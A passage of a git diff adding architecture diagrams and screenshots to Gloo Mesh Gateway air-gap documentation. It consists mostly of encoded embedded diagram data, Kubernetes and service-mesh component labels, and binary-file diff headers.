Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLevcNFx1MDAxYrOaukI3QedbRi3lwbfArFx1MDAwZdBwXHUwMDFjtqUuJYqrbCs000zhc23wdaKiq1x1MDAwM8lcdTAwMDTzPIMtXHUwMDEy3Ha4m1x1MDAxZMG8Q15YXHUwMDAyXHUwMDA1aiS3KMv3r0xccqhIoNpiXHUwMDFha6pcdMZyKTgtkbKUiVqD+Y5cdTAwMTTGx9HlWFxui2tgeS44Y1It0NWXiECWsVx1MDAxMjTXXHUwMDEyXHQmsdJsxc9cdTAwMDDAXHUwMDBin9I9+K1mxDLkXm9g+JfYO1xmXGZCuaCm2YGShEi8qMddWFx1MDAxOMTiXHUwMDA0iIVcdTAwMDG4gqcnV1xyjPMyI7xc